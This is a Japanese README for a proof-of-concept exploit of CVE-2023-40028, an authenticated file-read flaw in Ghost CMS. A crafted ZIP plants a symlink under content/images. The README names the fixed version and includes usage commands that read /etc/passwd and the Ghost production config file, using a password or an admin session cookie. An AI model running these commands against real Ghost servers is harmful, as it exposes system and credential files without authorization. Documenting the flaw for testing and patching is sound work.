
CVE-2023-40028 の PoC: Ghost CMS 任意のファイル読み取り
Ghost のコンテンツインポート機能における認証済み任意ファイル読み取り脆弱性 CVE-2023-40028 の概念実証です。細工された ZIP アーカイブが content/images 配下にシンボリックリンクを作成し、スクリプトが Ghost ホストからファイルを要求できるようにします。
Ghost 5.59.1 より前のバージョンが影響を受けます。5.59.1 以降にアップグレードしてください。
これは、自身が所有するシステム、またはテストを許可されているシステムに対してのみ使用してください。
requestsghost-admin-api-session Cookiepython3 -m venv .venv
source .venv/bin/activate
python -m pip install requests
ユーザー名とパスワードで 1 つのファイルを読み取る:
python3 ghost_fileread.py \
--url https://ghost.example \
--username [email protected] \
--password 'password' \
--file /etc/passwd
既存の管理者セッション Cookie を使用する:
python3 ghost_fileread.py \
--url https://ghost.example \
--cookie 'session-cookie-value' \
--file /var/lib/ghost/config.production.json
--file を省略すると、対話型の file> プロンプトが開きます。プロキシ、タイムアウト、User-Agent のオプションについては python3 ghost_fileread.py --help を実行してください。
このエンドポイントはテキストを返すため、このツールはテキストファイルを対象としています。細工されたアーカイブをインポートすると、ターゲットの content/images ディレクトリにシンボリックリンクが残ります。